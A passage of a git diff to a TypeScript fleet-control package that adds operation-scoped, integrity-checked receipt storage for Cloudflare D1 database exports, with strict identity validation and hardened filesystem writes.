exported.size, + sha256: exported.sha256, + }; + }; + } + this.maxMutationDurationMs = client.requestTimeoutMs; + this.advanceDecommissionAttachmentScan = + client.advanceDecommissionAttachmentScan.bind(client); + this.listWorkerR2Attachments = client.listWorkerR2Attachments.bind(client); + this.getR2Bucket = client.getR2Bucket.bind(client); + this.createR2Bucket = client.createR2Bucket.bind(client); + this.assertR2BucketEmpty = client.assertR2BucketEmpty.bind(client); + this.deleteR2Bucket = client.deleteR2Bucket.bind(client); } withMutationFence( diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 1664bb53..c46de37b 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -53,7 +53,13 @@ import { type WorkerAttachmentScanChunk, type WorkerAttachmentScanInput, } from './cloudflare-worker-attachment-scan.js'; -import type { DurableDatabaseExportStore } from './database-export-store.js'; +import { + cancelBodyWithoutAwait, + captureDatabaseExportReceiptCapability, + type DurableDatabaseExportStore, + databaseExportReceiptIdentityFromUnknown, + isDatabaseExportReceiptError, +} from './database-export-store.js'; import { type HostRoutingTarget, parseHostRoutingTarget, @@ -73,6 +79,7 @@ import { import { deploymentSpecDigest } from './spec-digest.js'; import type { DatabaseExport, + DatabaseExportReceiptIdentity, DatabaseReference, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, @@ -366,6 +373,10 @@ async function hashExport( return { sha256: hash.digest('hex'), size }; } +async function funnel(operation: () => T | PromiseLike): Promise { + return operation(); +} + let trackProviderDispatch: ( client: CloudflareProvisioningClient, operation: () => Promise, @@ -464,6 +475,15 @@ export function mapDecommissionAttachmentScanChunk( } export class CloudflareProvisioningClient implements PlainWorkerRouteApi { + /** Canonical immutable receipt authority, present only with receipt export. */ + declare readonly databaseExportReceiptAuthority?: string; + /** + * Streams one stable operation receipt while independently hashing the + * provider download. Exact retries converge; collisions are preserved. + */ + declare readonly exportDatabaseReceipt?: ( + identity: DatabaseExportReceiptIdentity, + ) => Promise; readonly #accountId: string; readonly #apiToken: string; readonly #dispatchNamespace: string | undefined; @@ -525,7 +545,25 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { this.#operationQueue = new PQueue({ concurrency }); this.#requestQueue = new PQueue({ concurrency }); this.#rateCoordinator = options.rateCoordinator; - this.#exportStore = options.exportStore; + const exportStore = options.exportStore; + this.#exportStore = exportStore; + const receiptCapability = exportStore + ? captureDatabaseExportReceiptCapability(exportStore, () => [ + exportStore.receiptAuthority, + exportStore.writeReceipt, + ]) + : undefined; + if (receiptCapability) { + const writeReceipt = receiptCapability.method as NonNullable< + DurableDatabaseExportStore['writeReceipt'] + >; + this.databaseExportReceiptAuthority = receiptCapability.authority; + this.exportDatabaseReceipt = (identity) => + this.#exportDatabaseReceipt(identity, { + authority: receiptCapability.authority, + method: writeReceipt, + }); + } this.#fetch = options.fetch ?? fetch; this.#requestTimeoutMs = options.requestTimeoutMs ?? 60_000; if ( @@ -3353,7 +3391,34 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); } - async exportDatabase(databaseId: string): Promise { + exportDatabase(databaseId: string): Promise { + return this.#exportDatabase(databaseId); + } + + #exportDatabaseReceipt( + identity: DatabaseExportReceiptIdentity, + receipt: Readonly<{ + authority: string; + method: NonNullable; + }>, + ): Promise { + const canonical = databaseExportReceiptIdentityFromUnknown( + identity, + receipt.authority, + ); + return this.#exportDatabase(canonical.databaseId, { + identity: canonical, + method: receipt.method, + }); + } + + async #exportDatabase( + databaseId: string, + receipt?: Readonly<{ + identity: DatabaseExportReceiptIdentity; + method: NonNullable; + }>, + ): Promise { if (!this.#exportStore) { throw new Error( 'a durable exportStore is required before D1 can be exported for deletion', @@ -3407,15 +3472,35 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { contentLength !== undefined && Number.isSafeInteger(contentLength) && contentLength >= 0; - const [stored, integrity] = await Promise.all([ - this.#exportStore.write({ - databaseId, - fileName: `${databaseId}-${Date.now()}.sql`, - body: storeBody, - ...(hasContentLength ? { contentLength } : {}), - }), - hashExport(hashBody), - ]); + let stored: Awaited>; + let integrity: Awaited>; + if (receipt) { + const integrityPromise = hashExport(hashBody); + void integrityPromise.catch(() => undefined); + const storedPromise = funnel(() => + receipt.method({ + identity: receipt.identity, + body: storeBody, + ...(hasContentLength ? { contentLength } : {}), + expectedIntegrity: integrityPromise, + }), + ); + void storedPromise.catch((primary) => + cancelBodyWithoutAwait(storeBody, primary), + ); + stored = await storedPromise; + integrity = await integrityPromise; + } else { + [stored, integrity] = await Promise.all([ + this.#exportStore.write({ + databaseId, + fileName: `${databaseId}-${Date.now()}.sql`, + body: storeBody, + ...(hasContentLength ? { contentLength } : {}), + }), + hashExport(hashBody), + ]); + } if (!stored.location || integrity.size === 0) { fail('durable D1 export is empty or has no location'); } @@ -3440,6 +3525,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } fail('export did not complete within the poll budget'); } catch (error) { + if (receipt && isDatabaseExportReceiptError(error)) throw error; const errorStatus = readErrorFieldSafely(error, 'status'); if (typeof errorStatus === 'number') httpStatus = errorStatus; const name = sanitizedErrorName(error); diff --git a/packages/fleet-control/src/database-export-store.ts b/packages/fleet-control/src/database-export-store.ts index c74bda52..8c72a691 100644 --- a/packages/fleet-control/src/database-export-store.ts +++ b/packages/fleet-control/src/database-export-store.ts @@ -1,6 +1,259 @@ // SPDX-License-Identifier: Apache-2.0 +import { cloneBoundedPlainData } from './strict-plain-data.js'; +import type { + DatabaseExportIntegrity, + DatabaseExportReceiptIdentity, +} from './types.js'; + +const DATABASE_ID = + /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/u; +const OPERATION_ID = + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; +const SHA256 = /^[0-9a-f]{64}$/u; +const MAX_AUTHORITY_UTF8_BYTES = 4_096; +const MAX_ESCAPED_IDENTITY_BYTES = MAX_AUTHORITY_UTF8_BYTES * 6 + 512; +const FUNCTION_BIND = Function.prototype.bind; +const PROMISE_THEN = Promise.prototype.then; +const STRUCTURED_CLONE = structuredClone; +const TEXT_ENCODER_ENCODE = TextEncoder.prototype.encode; +const textEncoder = new TextEncoder(); +const receiptErrors = new WeakSet(); + +type DatabaseExportReceiptErrorKind = + | 'authority-mismatch' + | 'capability-malformed' + | 'collision' + | 'identity-malformed' + | 'integrity-malformed' + | 'key-too-long' + | 'readback' + | 'source-mismatch'; + +const RECEIPT_ERROR_MESSAGES = { + 'authority-mismatch': + 'database export receipt authority differs from configured authority', + 'capability-malformed': 'database export receipt capability is malformed', + collision: + 'database export receipt collision differs from the committed export', + 'identity-malformed': 'database export receipt identity is malformed', + 'integrity-malformed': 'database export receipt integrity is malformed', + 'key-too-long': 'database export receipt key exceeds 1024 UTF-8 bytes', + readback: 'database export receipt readback failed', + 'source-mismatch': + 'database export receipt source integrity differs from the streamed export', +} as const satisfies Record; + +export interface CapturedDatabaseExportReceiptCapability { + readonly authority: string; + readonly method: (...input: never[]) => unknown; +} + +export function databaseExportReceiptError( + kind: DatabaseExportReceiptErrorKind, +): Error { + const error = new Error(RECEIPT_ERROR_MESSAGES[kind]); + receiptErrors.add(error); + return error; +} + +export function isDatabaseExportReceiptError(error: unknown): error is Error { + return ( + typeof error === 'object' && + error !== null && + receiptErrors.has(error as Error) + ); +} + +function utf8Length(value: string): number { + return Reflect.apply(TEXT_ENCODER_ENCODE, textEncoder, [value]).byteLength; +} + +export function databaseExportReceiptAuthorityFromUnknown( + value: unknown, +): string { + if ( + typeof value !== 'string' || + value.length === 0 || + utf8Length(value) > MAX_AUTHORITY_UTF8_BYTES + ) { + throw databaseExportReceiptError('capability-malformed'); + } + return value; +} + +export function captureDatabaseExportReceiptCapability( + receiver: object, + readPair: () => readonly [unknown, unknown], +): CapturedDatabaseExportReceiptCapability | undefined { + let authorityValue: unknown; + let methodValue: unknown; + try { + const pair = readPair(); + authorityValue = pair[0]; + methodValue = pair[1]; + } catch { + throw databaseExportReceiptError('capability-malformed'); + } + if (authorityValue === undefined && methodValue === undefined) { + return undefined; + } + const authority = databaseExportReceiptAuthorityFromUnknown(authorityValue); + if (typeof methodValue !== 'function') { + throw databaseExportReceiptError('capability-malformed'); + } + try { + return { + authority, + method: Reflect.apply(FUNCTION_BIND, methodValue, [receiver]) as ( + ...input: never[] + ) => unknown, + }; + } catch { + throw databaseExportReceiptError('capability-malformed'); + } +} + +function strictReceiptObject( + value: unknown, + errorKind: 'identity-malformed' | 'integrity-malformed', + maximumScalarBytes: number, +): Record { + const error = () => databaseExportReceiptError(errorKind); + const cloned = cloneBoundedPlainData(value, { + maxDepth: 1, + maxNodes: 5, + maxScalarBytes: maximumScalarBytes, + maxSerializedBytes: maximumScalarBytes + 256, + error, + }); + if (typeof cloned !== 'object' || cloned === null || Array.isArray(cloned)) { + throw error(); + } + try { + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + throw error(); + } + return cloned as Record; +} + +export function databaseExportReceiptIdentityFromUnknown( + value: unknown, + expectedAuthority: string, +): DatabaseExportReceiptIdentity { + const authority = + databaseExportReceiptAuthorityFromUnknown(expectedAuthority); + const cloned = strictReceiptObject( + value, + 'identity-malformed', + MAX_ESCAPED_IDENTITY_BYTES, + ); + const keys = Object.keys(cloned); + if ( + keys.length !== 4 || + !keys.includes('version') || + !keys.includes('authority') || + !keys.includes('databaseId') || + !keys.includes('operationId') || + cloned.version !== 1 || + typeof cloned.authority !== 'string' || + cloned.authority.length === 0 || + utf8Length(cloned.authority) > MAX_AUTHORITY_UTF8_BYTES || + typeof cloned.databaseId !== 'string' || + !DATABASE_ID.test(cloned.databaseId) || + typeof cloned.operationId !== 'string' || + !OPERATION_ID.test(cloned.operationId) + ) { + throw databaseExportReceiptError('identity-malformed'); + } + if (cloned.authority !== authority) { + throw databaseExportReceiptError('authority-mismatch'); + } + return Object.freeze({ + version: 1, + authority, + databaseId: cloned.databaseId, + operationId: cloned.operationId, + }); +} + +export function databaseExportIntegrityFromUnknown( + value: unknown, +): DatabaseExportIntegrity { + const cloned = strictReceiptObject(value, 'integrity-malformed', 512); + const keys = Object.keys(cloned); + if ( + keys.length !== 2 || + !keys.includes('size') || + !keys.includes('sha256') || + typeof cloned.size !== 'number' || + !Number.isSafeInteger(cloned.size) || + cloned.size < 1 || + typeof cloned.sha256 !== 'string' || + !SHA256.test(cloned.sha256) + ) { + throw databaseExportReceiptError('integrity-malformed'); + } + return Object.freeze({ size: cloned.size, sha256: cloned.sha256 }); +} + +export function captureDatabaseExportIntegrityPromise( + value: unknown, +): Promise { + let fulfill!: (box: Readonly<{ value: unknown }>) => void; + let reject!: (reason: unknown) => void; + const owned = new Promise>( + (resolve, rejectPromise) => { + fulfill = resolve; + reject = rejectPromise; + }, + ); + try { + Reflect.apply(PROMISE_THEN, value, [ + (resolved: unknown) => fulfill({ value: resolved }), + () => reject(databaseExportReceiptError('integrity-malformed')), + ]); + } catch { + throw databaseExportReceiptError('integrity-malformed'); + } + const normalized = Reflect.apply(PROMISE_THEN, owned, [ + (box: Readonly<{ value: unknown }>) => + databaseExportIntegrityFromUnknown(box.value), + () => { + throw databaseExportReceiptError('integrity-malformed'); + }, + ]) as Promise; + void Reflect.apply(PROMISE_THEN, normalized, [undefined, () => undefined]); + return normalized; +} + +export function cancelBodyWithoutAwait(body: unknown, reason: unknown): void { + try { + if ( + (typeof body !== 'object' || body === null) && + typeof body !== 'function' + ) { + return; + } + const cancel = Reflect.get(body, 'cancel'); + if (typeof cancel !== 'function') return; + const cancellation = Reflect.apply(cancel, body, [reason]); + try { + void Reflect.apply(PROMISE_THEN, cancellation, [ + undefined, + () => undefined, + ]); + } catch {} + } catch {} +} + export interface DurableDatabaseExportStore { + /** + * Canonical immutable storage authority. Present together with + * `writeReceipt`, absent together when operation receipts are unsupported. + */ + readonly receiptAuthority?: string; write(input: { readonly databaseId: string; readonly fileName: string; @@ -11,4 +264,15 @@ export interface DurableDatabaseExportStore { readonly size: number; readonly sha256: string; }>; + /** + * Streams one operation-scoped receipt while the eager source-integrity + * promise settles. Reusing the exact identity converges only on exact bytes; + * a differing identity or committed export is preserved and refused. + */ + writeReceipt?(input: { + readonly identity: DatabaseExportReceiptIdentity; + readonly body: ReadableStream; + readonly contentLength?: number; + readonly expectedIntegrity: Promise; + }): Promise; } diff --git a/packages/fleet-control/src/export-store.ts b/packages/fleet-control/src/export-store.ts index 07b560c8..739fb8f8 100644 --- a/packages/fleet-control/src/export-store.ts +++ b/packages/fleet-control/src/export-store.ts @@ -1,11 +1,965 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash, randomUUID } from 'node:crypto'; -import { mkdir, open, realpath, rename, rm } from 'node:fs/promises'; +import { type BigIntStats, constants as fsConstants } from 'node:fs'; +import { + link, + mkdir, + open, + readdir, + realpath, + rename, + rm, + unlink, +} from 'node:fs/promises'; import { dirname, join, resolve } from 'node:path'; import { pathToFileURL } from 'node:url'; -import type { DurableDatabaseExportStore } from './database-export-store.js'; +import { + cancelBodyWithoutAwait, + captureDatabaseExportIntegrityPromise, + type DurableDatabaseExportStore, + databaseExportReceiptAuthorityFromUnknown, + databaseExportReceiptError, + databaseExportReceiptIdentityFromUnknown, +} from './database-export-store.js'; import { assertFileName } from './export-file-name.js'; +import type { + DatabaseExportIntegrity, + DatabaseExportReceiptIdentity, +} from './types.js'; + +type FileHandle = Awaited>; + +const DIRECTORY_MODE = 0o700n; +const FILE_MODE = 0o600n; +const PERMISSION_MODE = 0o7777n; +const MAX_SAFE_SIZE = BigInt(Number.MAX_SAFE_INTEGER); +const RECEIPT_TEMP_PATTERN = + /^\.receipt-[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}\.tmp$/u; +const RECEIPT_TEMP_UUID = + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; +const READABLE_STREAM_GET_READER = ReadableStream.prototype.getReader; +const READER_CANCEL = ReadableStreamDefaultReader.prototype.cancel; +const READER_READ = ReadableStreamDefaultReader.prototype.read; +const READER_RELEASE_LOCK = ReadableStreamDefaultReader.prototype.releaseLock; +const PROMISE_THEN = Promise.prototype.then; + +interface ReceiptOpenFlags { + readonly O_DIRECTORY: unknown; + readonly O_NOFOLLOW: unknown; + readonly O_NONBLOCK: unknown; + readonly O_RDONLY: unknown; +} + +export interface FileSystemDatabaseExportStoreReceiptPrimitives { + readonly platform: string; + readonly flags: ReceiptOpenFlags; + readonly randomUUID: () => string; + readonly open: typeof open; + readonly mkdir: typeof mkdir; + readonly realpath: typeof realpath; + readonly link: typeof link; + readonly unlink: typeof unlink; + readonly readdir: (path: string) => Promise; + readonly stat: (handle: FileHandle) => Promise; + readonly chmod: (handle: FileHandle, mode: number) => Promise; + readonly sync: (handle: FileHandle) => Promise; + readonly close: (handle: FileHandle) => Promise; + readonly read: ( + handle: FileHandle, + buffer: Uint8Array, + offset: number, + length: number, + position: number | null, + ) => Promise<{ bytesRead: number }>; + readonly write: ( + handle: FileHandle, + buffer: Uint8Array, + offset: number, + length: number, + ) => Promise<{ bytesWritten: number }>; +} + +export interface FileSystemDatabaseExportStoreReceiptPrimitiveOverrides + extends Partial< + Omit + > { + readonly flags?: Partial; +} + +const defaultReceiptPrimitives: FileSystemDatabaseExportStoreReceiptPrimitives = + { + platform: process.platform, + flags: { + O_DIRECTORY: fsConstants.O_DIRECTORY, + O_NOFOLLOW: fsConstants.O_NOFOLLOW, + O_NONBLOCK: fsConstants.O_NONBLOCK, + O_RDONLY: fsConstants.O_RDONLY, + }, + randomUUID, + open, + mkdir, + realpath, + link, + unlink, + readdir: (path) => readdir(path), + stat: (handle) => handle.stat({ bigint: true }), + chmod: (handle, mode) => handle.chmod(mode), + sync: (handle) => handle.sync(), + close: (handle) => handle.close(), + read: (handle, buffer, offset, length, position) => + handle.read(buffer, offset, length, position), + write: (handle, buffer, offset, length) => + handle.write(buffer, offset, length), + }; + +type Settlement = + | Readonly<{ status: 'fulfilled'; value: T }> + | Readonly<{ status: 'rejected'; reason: unknown }>; + +interface OpenReceiptDirectories { + readonly directory: string; + readonly handle: FileHandle; + readonly handles: readonly FileHandle[]; +} + +interface ReceiptFileState { + readonly location: string; + readonly size: number; + readonly sha256: string; +} + +type ReceiptTargetInspection = + | Readonly<{ status: 'absent' }> + | Readonly<{ status: 'present'; receipt: ReceiptFileState }>; + +function receiptPrimitives( + overrides: FileSystemDatabaseExportStoreReceiptPrimitiveOverrides = {}, +): FileSystemDatabaseExportStoreReceiptPrimitives { + return { + ...defaultReceiptPrimitives, + ...overrides, + flags: { + ...defaultReceiptPrimitives.flags, + ...overrides.flags, + }, + }; +} + +function supportsFileSystemReceipts( + primitives: FileSystemDatabaseExportStoreReceiptPrimitives, +): primitives is FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: { + readonly O_DIRECTORY: number; + readonly O_NOFOLLOW: number; + readonly O_NONBLOCK: number; + readonly O_RDONLY: number; + }; +} { + const flags = [ + primitives.flags.O_DIRECTORY, + primitives.flags.O_NOFOLLOW, + primitives.flags.O_NONBLOCK, + primitives.flags.O_RDONLY, + ]; + return ( + primitives.platform !== 'win32' && + flags.every( + (flag) => + typeof flag === 'number' && + Number.isInteger(flag) && + flag >= 0 && + flag <= 0x7fff_ffff, + ) + ); +} + +async function settled( + operation: () => T | PromiseLike, +): Promise>> { + try { + return { status: 'fulfilled', value: await operation() }; + } catch (reason) { + return { status: 'rejected', reason }; + } +} + +function errorHasCode(error: unknown, code: string): boolean { + try { + return ( + typeof error === 'object' && + error !== null && + Reflect.get(error, 'code') === code + ); + } catch { + return false; + } +} + +function directoryOpenFlags( + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, +): number { + return ( + primitives.flags.O_RDONLY | + primitives.flags.O_DIRECTORY | + primitives.flags.O_NOFOLLOW + ); +} + +function fileOpenFlags( + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, +): number { + return ( + primitives.flags.O_RDONLY | + primitives.flags.O_NOFOLLOW | + primitives.flags.O_NONBLOCK + ); +} + +function isExactDirectory(statistics: BigIntStats): boolean { + return ( + statistics.isDirectory() && + (statistics.mode & PERMISSION_MODE) === DIRECTORY_MODE + ); +} + +function isExactReceiptFile( + statistics: BigIntStats, + expectedLinks: 1n | 2n, +): boolean { + return ( + statistics.isFile() && + (statistics.mode & PERMISSION_MODE) === FILE_MODE && + statistics.nlink === expectedLinks + ); +} + +async function closeAll( + handles: readonly FileHandle[], + primitives: FileSystemDatabaseExportStoreReceiptPrimitives, +): Promise { + const errors: unknown[] = []; + for (const handle of [...handles].reverse()) { + const state = await settled(() => primitives.close(handle)); + if (state.status === 'rejected') errors.push(state.reason); + } + if (errors.length === 1) throw errors[0]; + if (errors.length > 1) { + throw new AggregateError( + errors, + 'database export receipt directory-handle cleanup failed', + ); + } +} + +async function openReceiptDirectories( + root: string, + databaseId: string, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, +): Promise { + const canonicalRoot = await primitives.realpath(root); + if (canonicalRoot !== root) { + throw new Error( + 'database export receipt root must be an existing trusted directory', + ); + } + const handles: FileHandle[] = []; + try { + const rootHandle = await primitives.open( + root, + directoryOpenFlags(primitives), + ); + handles.push(rootHandle); + const rootStat = await primitives.stat(rootHandle); + if (!rootStat.isDirectory()) { + throw new Error( + 'database export receipt root must be an existing trusted directory', + ); + } + + let parentPath = root; + let parentHandle = rootHandle; + for (const segment of ['.anchorage-receipts', 'v1', databaseId] as const) { + const childPath = join(parentPath, segment); + let created = false; + try { + await primitives.mkdir(childPath, { mode: Number(DIRECTORY_MODE) }); + created = true; + } catch (error) { + if (!errorHasCode(error, 'EEXIST')) throw error; + } + const childHandle = await primitives.open( + childPath, + directoryOpenFlags(primitives), + ); + handles.push(childHandle); + if (created) { + await primitives.chmod(childHandle, Number(DIRECTORY_MODE)); + } + const childStat = await primitives.stat(childHandle); + if (!isExactDirectory(childStat)) { + throw new Error( + 'database export receipt directory must be a mode-0700 directory', + ); + } + await primitives.sync(parentHandle); + parentPath = childPath; + parentHandle = childHandle; + } + return { + directory: parentPath, + handle: parentHandle, + handles, + }; + } catch (error) { + const cleanup = await settled(() => closeAll(handles, primitives)); + if (cleanup.status === 'rejected') { + throw new AggregateError( + [error, cleanup.reason], + 'database export receipt and directory-handle cleanup failed', + ); + } + throw error; + } +} + +async function hashReceiptHandle( + handle: FileHandle, + expectedSize: bigint, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives, +): Promise { + if (expectedSize <= 0n || expectedSize > MAX_SAFE_SIZE) { + throw databaseExportReceiptError('collision'); + } + const hash = createHash('sha256'); + const buffer = new Uint8Array(64 * 1024); + let size = 0n; + try { + for (;;) { + const { bytesRead } = await primitives.read( + handle, + buffer, + 0, + buffer.byteLength, + null, + ); + if (!Number.isSafeInteger(bytesRead) || bytesRead < 0) { + throw databaseExportReceiptError('readback'); + } + if (bytesRead === 0) break; + hash.update(buffer.subarray(0, bytesRead)); + size += BigInt(bytesRead); + if (size > MAX_SAFE_SIZE) { + throw databaseExportReceiptError('readback'); + } + } + } catch { + throw databaseExportReceiptError('readback'); + } + if (size !== expectedSize) throw databaseExportReceiptError('readback'); + return { size: Number(size), sha256: hash.digest('hex') }; +} + +async function recoverReceiptTempAlias( + targetHandle: FileHandle, + targetStat: BigIntStats, + databaseReceiptDirectory: string, + databaseDirectoryHandle: FileHandle, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, +): Promise { + const hasRecoveredTarget = async (): Promise => { + let recovered: BigIntStats; + try { + recovered = await primitives.stat(targetHandle); + } catch { + throw databaseExportReceiptError('readback'); + } + return ( + isExactReceiptFile(recovered, 1n) && + recovered.dev === targetStat.dev && + recovered.ino === targetStat.ino + ); + }; + let names: string[]; + try { + names = await primitives.readdir(databaseReceiptDirectory); + } catch { + throw databaseExportReceiptError('readback'); + } + if (!Array.isArray(names) || names.some((name) => typeof name !== 'string')) { + throw databaseExportReceiptError('readback'); + } + const matches: { path: string; handle: FileHandle; stat: BigIntStats }[] = []; + try { + for (const name of names) { + if (!RECEIPT_TEMP_PATTERN.test(name)) continue; + const candidatePath = join(databaseReceiptDirectory, name); + let candidate: FileHandle; + try { + candidate = await primitives.open( + candidatePath, + fileOpenFlags(primitives), + ); + } catch (error) { + if (errorHasCode(error, 'ENOENT')) continue; + throw databaseExportReceiptError('readback'); + } + let retained = false; + try { + let candidateStat: BigIntStats; + try { + candidateStat = await primitives.stat(candidate); + } catch { + throw databaseExportReceiptError('readback'); + } + if ( + candidateStat.dev === targetStat.dev && + candidateStat.ino === targetStat.ino + ) { + retained = true; + matches.push({ + path: candidatePath, + handle: candidate, + stat: candidateStat, + }); + } + } finally { + if (!retained) await primitives.close(candidate); + } + } + if (matches.length === 0 && (await hasRecoveredTarget())) return; + if (matches.length !== 1) { + throw databaseExportReceiptError('collision'); + } + const match = matches[0]; + if (!match || !isExactReceiptFile(match.stat, 2n)) { + throw databaseExportReceiptError('collision'); + } + try { + await primitives.unlink(match.path); + } catch (error) { + if (!errorHasCode(error, 'ENOENT')) { + throw databaseExportReceiptError('readback'); + } + } + try { + await primitives.sync(databaseDirectoryHandle); + } catch { + throw databaseExportReceiptError('readback'); + } + if (!(await hasRecoveredTarget())) { + throw databaseExportReceiptError('collision'); + } + } finally { + await closeAll( + matches.map((match) => match.handle), + primitives, + ); + } +} + +async function inspectReceiptTarget( + targetPath: string, + databaseReceiptDirectory: string, + databaseDirectoryHandle: FileHandle, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, +): Promise { + let targetHandle: FileHandle; + try { + targetHandle = await primitives.open(targetPath, fileOpenFlags(primitives)); + } catch (error) { + if (errorHasCode(error, 'ENOENT')) return { status: 'absent' }; + throw databaseExportReceiptError('collision'); + } + try { + let targetStat: BigIntStats; + try { + targetStat = await primitives.stat(targetHandle); + } catch { + throw databaseExportReceiptError('readback'); + } + if ( + !targetStat.isFile() || + (targetStat.mode & PERMISSION_MODE) !== FILE_MODE || + (targetStat.nlink !== 1n && targetStat.nlink !== 2n) + ) { + throw databaseExportReceiptError('collision'); + } + if (targetStat.nlink === 2n) { + await recoverReceiptTempAlias( + targetHandle, + targetStat, + databaseReceiptDirectory, + databaseDirectoryHandle, + primitives, + ); + } + let currentStat: BigIntStats; + try { + currentStat = await primitives.stat(targetHandle); + } catch { + throw databaseExportReceiptError('readback'); + } + if (!isExactReceiptFile(currentStat, 1n)) { + throw databaseExportReceiptError('collision'); + } + try { + await primitives.sync(databaseDirectoryHandle); + } catch { + throw databaseExportReceiptError('readback'); + } + const integrity = await hashReceiptHandle( + targetHandle, + currentStat.size, + primitives, + ); + return { + status: 'present', + receipt: { + location: pathToFileURL(targetPath).href, + ...integrity, + }, + }; + } finally { + await primitives.close(targetHandle); + } +} + +function sameIntegrity( + first: DatabaseExportIntegrity, + second: DatabaseExportIntegrity, +): boolean { + return first.size === second.size && first.sha256 === second.sha256; +} + +function cancelReaderWithoutAwait( + reader: ReadableStreamDefaultReader, + reason: unknown, +): void { + try { + const cancellation = Reflect.apply(READER_CANCEL, reader, [reason]); + try { + void Reflect.apply(PROMISE_THEN, cancellation, [ + undefined, + () => undefined, + ]); + } catch {} + } catch {} +} + +async function streamReceipt( + file: FileHandle, + body: ReadableStream, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives, + markCancellationAttempted: () => void, +): Promise { + let reader: ReadableStreamDefaultReader; + try { + reader = Reflect.apply( + READABLE_STREAM_GET_READER, + body, + [], + ) as ReadableStreamDefaultReader; + } catch { + throw new Error('database export receipt body is malformed'); + } + const hash = createHash('sha256'); + let size = 0n; + try { + for (;;) { + const chunk = await Reflect.apply(READER_READ, reader, []); + if (chunk.done) break; + if (!(chunk.value instanceof Uint8Array)) { + throw new Error('database export receipt body is malformed'); + } + let offset = 0; + while (offset < chunk.value.byteLength) { + const { bytesWritten } = await primitives.write( + file, + chunk.value, + offset, + chunk.value.byteLength - offset, + ); + if (!Number.isSafeInteger(bytesWritten) || bytesWritten <= 0) { + throw new Error( + 'database export receipt file write made no progress', + ); + } + offset += bytesWritten; + } + hash.update(chunk.value); + size += BigInt(chunk.value.byteLength); + if (size > MAX_SAFE_SIZE) { + throw new Error( + 'database export receipt size exceeds the safe integer range', + ); + } + } + } catch (error) { + markCancellationAttempted(); + cancelReaderWithoutAwait(reader, error); + throw error; + } finally { + Reflect.apply(READER_RELEASE_LOCK, reader, []); + } + if (size === 0n) { + throw new Error('database export receipt refuses an empty body'); + } + return { size: Number(size), sha256: hash.digest('hex') }; +} + +async function unlinkOwnedTempPath( + path: string, + retainedStat: BigIntStats, + expectedLinks: 1n | 2n | 'either', + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, +): Promise { + let aliasHandle: FileHandle; + try { + aliasHandle = await primitives.open(path, fileOpenFlags(primitives)); + } catch (error) { + if (errorHasCode(error, 'ENOENT')) return; + throw error; + } + try { + const aliasStat = await primitives.stat(aliasHandle); + const linkCountMatches = + expectedLinks === 'either' + ? aliasStat.nlink === 1n || aliasStat.nlink === 2n + : aliasStat.nlink === expectedLinks; + if ( + !isExactReceiptFile(aliasStat, aliasStat.nlink === 2n ? 2n : 1n) || + !linkCountMatches || + aliasStat.dev !== retainedStat.dev || + aliasStat.ino !== retainedStat.ino + ) { + throw new Error( + 'database export receipt temporary file identity changed', + ); + } + await primitives.unlink(path); + } finally { + await primitives.close(aliasHandle); + } +} + +async function cleanupTemporaryHandle( + path: string, + retainedStat: BigIntStats, + handle: FileHandle, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, +): Promise { + const pathCleanup = await settled(() => + unlinkOwnedTempPath(path, retainedStat, 'either', primitives), + ); + const closeCleanup = await settled(() => primitives.close(handle)); + if (pathCleanup.status === 'rejected' && closeCleanup.status === 'rejected') { + throw new AggregateError( + [pathCleanup.reason, closeCleanup.reason], + 'database export receipt temporary-file cleanup failed', + ); + } + if (pathCleanup.status === 'rejected') throw pathCleanup.reason; + if (closeCleanup.status === 'rejected') throw closeCleanup.reason; +} + +async function publishReceipt( + input: { + readonly identity: DatabaseExportReceiptIdentity; + readonly body: ReadableStream; + readonly contentLength?: number; + }, + expectedPromise: Promise, + directories: OpenReceiptDirectories, + targetPath: string, + primitives: FileSystemDatabaseExportStoreReceiptPrimitives & { + readonly flags: Record; + }, + markCancellationAttempted: () => void, +): Promise { + const uuid = primitives.randomUUID(); + if (!RECEIPT_TEMP_UUID.test(uuid)) { + throw new Error('database export receipt temporary UUID is malformed'); + } + const temporaryPath = join(directories.directory, `.receipt-${uuid}.tmp`); + const temporaryHandle = await primitives.open(temporaryPath, 'wx', 0o600); + const preparation = await settled(async () => { + await primitives.chmod(temporaryHandle, Number(FILE_MODE)); + const statistics = await primitives.stat(temporaryHandle); + if (!isExactReceiptFile(statistics, 1n)) { + throw new Error( + 'database export receipt temporary file must be a mode-0600 regular file', + ); + } + return statistics; + }); + if (preparation.status === 'rejected') { + const recoveryStat = await settled(() => primitives.stat(temporaryHandle)); + let cleanup: Settlement; + if (recoveryStat.status === 'fulfilled') { + cleanup = await settled(() => + cleanupTemporaryHandle( + temporaryPath, + recoveryStat.value, + temporaryHandle, + primitives, + ), + ); + } else { + const closeCleanup = await 